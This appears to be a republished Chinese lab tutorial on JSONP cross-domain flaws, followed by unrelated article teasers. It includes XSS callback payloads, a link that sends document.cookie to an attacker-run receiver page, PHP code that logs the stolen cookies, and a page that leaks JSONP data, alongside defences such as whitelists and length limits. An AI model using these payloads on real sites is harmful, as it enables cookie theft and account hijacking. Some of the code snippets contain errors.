JSONP跨域访问漏洞

一、漏洞一:利用回调GetCookie

<?php$conn = new mysqli('127.0.0.1','root','root','learn') or die("数据库连接不成功");
$conn->set_charset('utf8');
$sql = "select articleid,author,viewcount,creattime from learn3 where articleid < 5";
$result = $conn->query($sql);//输出JSON数据到页面
$json = json_encode($result->fetch_all(MYSQLI_ASSOC));
//echo $json;
echo $_GET['callback'] . "(" . $json . ")";$conn->close();?>
<!-- JSONP回调实现跨域 --><script>function test(args) {alert(JSON.stringify(args));}</script><script src="http://10.211.55.16/list-json.php?callback=test"></script>

当在list-json.html页面中,直接构造以下Payload,则会导致弹窗

<script src="http://192.168.112.183/list-json.php?callback=alert(1);//"></script>

如果payload是这样的话,也会给我们进行弹窗,说明存在XSS漏洞

<script src="http://192.168.112.183/list-json.php?callback=alert('Hello');//"></script>

 

基于这个XSS漏洞,我们就可以去利用这个漏洞

我们可以试着去让它弹出当前页面的Cookie,成功弹出Cookie

<script src="http://192.168.112.183/list-json.php?callback=alert(document.cookie);//"></script>

我们也可以让它做一个登录,成功登录

然后我们再通过XSS漏洞将Sesssion ID弹出来,说明它并没有对当前的Cookie设置http-only的属性,让我们的JavaScript是可以读取到的

接下来呢,我们想办法把这个页面发送给登录的用户,让用户去点击

那么,在弹窗位置,则可以实现利用,比如发送当前页面的Cookie到183的xssrecv.php页面上,Payload如下:

<script src="http://192.168.112.183/list-ison.php?
callback=location.href='http://192.168.112.183/xssrecv.php?
cookie='%2Bdocument.cookie%2B'%26url='%2Blocation.href;//"></script>

 经过http://192.168.112.183/security/list-json.html访问上述页面,即可完成Get Cookie,只要通过XSS漏洞将包含上述Payload的HTML页面连接交给用户访问到,或者引诱登录用户点击,则可以直接获取用户Cookie等数据

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['url'];
$cookie = $_GET['cookie'];$conn = new mysqli('127.0.0.1','root','root','learn') or die("数据库连接不成功.");
$conn->set_charset("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);
echo "<script>location.href='http://www.woniunote.com/'</script>";

然后我们打开数据库,去看看xssdata那张表,看看能不能增加一条记录

 然后我们去运行,发现已经跳转到蜗牛笔记了

然后看见多了一条数据

对于其防护措施,首先我们应该限制callback的长度

在list-json.php中增加一条判断语句

if (strlen($_GET['callback']) > 10) {die("too long");
}

我们通过Fidder进行监听一下,响应告诉我们"too long"

当然,我们可以设置白名单,限制回调的函数名,代码如下:

$white_list = array('test','jsonp','handle','doedit');
if !in_array($_GET['callback'],$white_list) {die("wrong_value");
}

综上所述,需要对回调函数的名称进行严格的限制,比如限制其长度,查询其关键词,或者使用白名单

二、漏洞二:利用CSRF获取数据

当发现某个站点存在JSONP跨域漏洞之后,则只需要构造一个链接,让被攻击者在登录状态下点击,然后在188服务器上的list-json.html页面中的alert()的位置将获取到的数据发送给攻击服务器即可

在DoraBox靶场环境中存在这样一行代码:

$callback = htmlspecialchars($_GET['callback']);

上述代码将跨域网站提交过去的callback的内容进行了转义,杜绝了XSS获取Cookie的漏洞。但是该页面依然存在JSONP漏洞,在攻击服务器192.168.112.183上添加jsonouse.html页面,访问正常服务器192.168.112.188上的Dorabox的JSONP漏洞页面,代码:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>跨页面查看JSON数据</title><script>function test(args) {location.href="http://192.168.112.183/jsonprecv.php?value="+JSON.stringify(args)+"&referer="document.referer;}</script><script src="http://192.168.112.188/dorabox/csrf/jsonp.php?callback=test"></script></head>
<body>Good Boy
</body>
</html>

同时,在183攻击服务器上增加jsonprecv.php页面,内容如下:

$ipaddr = $_SERVER['REMOTE_ADDR'];
$url = $_GET['referer'];
$value = $_GET['value'];$conn = new mysqli('127.0.0.1','root','123456','learn') or die("数据库连接不成功.");
$conn->set_charest("utf8");
$sql = "insert into xssdata(ipaddr,url,cookie,createtime) values('$ipaddr','$url','$cookie',now())";
$conn->query($sql);echo "<script>location.href='http://www.woniunote.com/'</script>";

然后我们去访问192.168.112.183/jsonpuser.html,然后跳转到了蜗牛笔记那儿

 然后去数据库看看有没有新增的数据

此时,在188的Dorabox服务器中,利用XSS漏洞生成一个连接到183攻击服务器的"http://192.168.112.183/jsonpuse.html"页面,完成数据泄露攻击。(或者直接让用户点击也可以)

DoraBox的存储型比较有意思,直接在stored_xss.php的当前页面的源代码里面写入存储数据,所以要将此文件设置为可写权限

我们修改list-json.php的代码,如下所示,加一个while(1)

当我们去访问的时候,发现已经没反应了,因为while(1)一直在做死循环,这也是一个很好的防御方式

三、JSON攻击防御方案

产生JSONP攻击的核心在于没有对调用方进行校验

(1)前后端约定jsonp请求的js的回调函数名,不能自己定义回调名称

(2)严格安全的实现CSRF方式调用JSON文件:限制Referer、部署一次性Token或其他Token验证等

(3)严格按照JSON格式标准输出Content-Type及编码(Content-Type:application/json;charset=utf8),避免被XSS利用。可以在PHP源代码中添加header("content-type:application/json");即可。

(4)严格过滤callback函数名及JSON里数据的输出

(5)严格限制对JSONP输出callback函数名的长度和内容

(6)其他一些比较"猥琐"的方法:如在Callback输出之前加入其他字符(如:/**/、回车换行)这样不影响JSON文件加载,又能一定程度预防其他文件格式的输出。还比如Gmall早期使用AJAX的方式获取JSON,听过在输出JSON之前加入while(1);这样的代码来防止JS远程调用。(可以试试,上面就是这个的例子)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/74295.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JuiceFS vs HDFS,最简单的 JuiceFS 入门

你好,我是 shengjk1,多年大厂经验,努力构建 通俗易懂的、好玩的编程语言教程。 欢迎关注!你会有如下收益: 了解大厂经验拥有和大厂相匹配的技术等希望看什么,评论或者私信告诉我! 文章目录 一、背景二、JuiceFS 入门2.1 核心特性2.2 JuiceFS 架构2.3 JuiceFS 如何存储文…

音频进阶学习二十四——IIR滤波器设计方法

文章目录 前言一、滤波器设计要求1.选频滤波器种类2.通带、阻带、过度带3.滤波器设计指标 二、IIR滤波器的设计过程1.设计方法2.常见的模拟滤波器设计1&#xff09;巴特沃斯滤波器&#xff08;Butterworth Filter&#xff09;2&#xff09;切比雪夫滤波器&#xff08;Chebyshev…

vue3源码分析 -- runtime

runtime运行时&#xff0c;主要在packages/runtime-core目录下&#xff0c;核心提供了h、render等函数。在理解它们之前&#xff0c;我们需要了解下HTML DOM 树和虚拟 DOM等概念 HTML DOM 树 通过节点构成的一个树形结构&#xff0c;我们称为HTML DOM节点树。DOM 文档里面做了…

清明假期在即

2025年4月2日&#xff0c;6~22℃&#xff0c;一般 遇见的事&#xff1a;这么都是清明出去玩&#xff1f;你们不扫墓的么。 感受到的情绪&#xff1a;当精力不放在一个人身上&#xff0c;你就会看到很多人&#xff0c;其实可以去接触的。 反思&#xff1a;抖音上那么多不幸和幸…

tomcat 目录结构组成

文章目录 背景文件结构层级一些常用的路径 背景 现在非常多的 java web 服务部署在 linux 服务器中&#xff0c;我们服务器中的 tomcat 会有各种文件路径&#xff0c;看下它有哪些文件 文件结构层级 ├── bin/ # 核心脚本和启动文件 ├── conf/ # …

多层内网渗透测试虚拟仿真实验环境(Tomcat、ladon64、frp、Weblogic、权限维持、SSH Server Wrapper后门)

在线环境:https://www.yijinglab.com/ 拓扑图 信息收集 IP地址扫描 确定目标IP为10.1.1.121 全端口扫描 访问靶机8080端口,发现目标是一个Tomcat服务,版本

NOIP2010提高组.引水入城

*前置题目 901. 滑雪 #include <iostream> #include <algorithm> #include <cstring>using namespace std;const int N 310, INF 0x3f3f3f3f; const int dx[4] {0, -1, 0, 1}, dy[4] {1, 0, -1, 0};int n, m, h[N][N]; int f[N][N]; int ans;int dfs(i…

Share02-小小脚本大大能量

各位看官你们好&#xff0c;又是一篇共享知识点的文章&#xff0c;今天我们来聊一聊脚本在我们上位组态中的作用。各个厂家的上位软件或者触屏软件都内嵌了脚本功能&#xff0c;有的是二次开发的固定指令格式&#xff0c;有的可以接收广域的标准语言指令。它带给我们更多的方便…

LangChain接入azureopenai步骤(2025年初)

背景&#xff1a; 为了快速且规范的实现ai应用&#xff0c;可使用LangChain框架&#xff0c;便于后期维护。虽然deepseek异军突起&#xff0c;在终端用户占有率很高&#xff0c;但是仔细查阅相关api接口&#xff0c;尤其是自有知识库需要使用的文本向量化模型方面&#xff0c;o…

阿里云国际站代理商:模型训练中断数据丢失怎么办?

定期保存训练状态&#xff1a;在训练过程中&#xff0c;设定自动保存训练状态的频率&#xff0c;将模型的参数、优化器状态、训练数据的中间结果等定期保存到存储介质上。这样&#xff0c;当中断发生时&#xff0c;可以恢复到上次保存的状态&#xff0c;避免训练进度的损失。 …

C++17更新内容汇总

C17 是 C14 的进一步改进版本&#xff0c;它引入了许多增强特性&#xff0c;优化了语法&#xff0c;并提升了编译期计算能力。以下是 C17 的主要更新内容&#xff1a; 1. 结构化绑定&#xff08;Structured Bindings&#xff09; 允许同时解构多个变量&#xff0c;从 std::tup…

2025年Axure RP9无法免费使用Axure Cloud的解决方案

解决方案 更换新账号&#xff0c;换了一个邮箱注册&#xff0c;再登陆&#xff0c;又会给你30天的试用期。 对&#xff0c;办法就是换个邮箱注册&#xff0c;又续上30天的试用期。

供应链中的的“四流合一”

在供应链中&#xff0c;物流、资金流、信息流、商流是共同存在的&#xff0c;商流、信息流和资金流的结合将更好的支持和加强供应链上、下游企业之间的货物、服务往来&#xff08;物流&#xff09;。 一、商流 在供应链中&#xff0c;上下游供应商的资金链条均可被金融服务机构…

MonkeyDev 如何创建一个root级级别的app

前提条件:有越狱的手机,XCode中已经安装了Monkeydev 1. 和普通应用一个创建一个ios的工程 2. 在App的TARGETS>build setting> 中设置Apple Development 3. 设置User-Defined的配置 CODE_SIGNING_ALLOWED = NO MonkeyDevBuildPackageOnAnyBuild = NO MonkeyDevClearUi…

Excel时间类型函数(包括today、date、eomonth、year、month、day、weekday、weeknum、datedif)

目录 1. TODAY()2. DATE()3. EOMONTH()4. YEAR()5. MONTH()6. DAY()7. WEEKDAY()8. WEEKNUM()9. DATEDIF()10.&#x1f4cc; 函数扩展与应用11. &#x1f4da; 时间函数基础概念与分类 Excel 提供了许多 日期与时间类型的函数&#xff0c;用于操作与处理日期或时间数据。这些函…

Lumerical ------ Edge coupler design

Lumerical ------ Edge coupler design 引言正文无 Si Substrate 的仿真步骤有 Si Substrate 的仿真步骤引言 本文,我们将使用官方提供的 Edge coupler 设计教程,但是中间会带有作者本人的设计的感悟。 正文 无 Si Substrate 的仿真步骤 打开 Edge_Coupler_No_Substrate.l…

Spring笔记06-数据持久化

在 Spring 中&#xff0c;数据持久化是将应用程序中的数据保存到持久化存储&#xff08;如数据库&#xff09;中的过程 &#xff0c;主要通过以下几种方式实现&#xff1a; 1. JDBC&#xff08;Java Database Connectivity&#xff09; 原理&#xff1a;JDBC 是 Java 访问关系…

spring boot集成reids的 RedisTemplate 序列化器详细对比(官方及非官方)

RedisTemplate 序列化器详细对比&#xff08;官方及非官方&#xff09; 1. 官方序列化器 (1) JdkSerializationRedisSerializer 特点&#xff1a; 基于 Java 原生序列化&#xff08;Serializable&#xff09;。支持复杂对象&#xff08;需实现 Serializable 接口&#xff09;…

ssh私钥文件登录问题:Load key invalid format

问题 在mac上面使用私钥文件登录时候&#xff0c;出现了如下错误&#xff1a; Load key “xxx.pem”: invalid format 但是&#xff0c;这个私钥文件在win上面能够正常使用ssh进行远程登录。在mac上面不能。而且&#xff0c;分别在win和mac上面分别查看了这两个私钥文件的md5…

AI战略群与星际之门:软银AI投资版图计划深度解析

一、星际之门:万亿美元级 AI 基础设施革命 1.1 项目背景与战略定位 在 AI 技术迅猛发展的今天,算力已成为推动其前进的核心动力。软银联合 OpenAI、甲骨文、英伟达、微软、arm推出的 “星际之门”(Stargate)计划,无疑是 AI 领域的一颗重磅炸弹。作为 AI 领域史上最大单笔…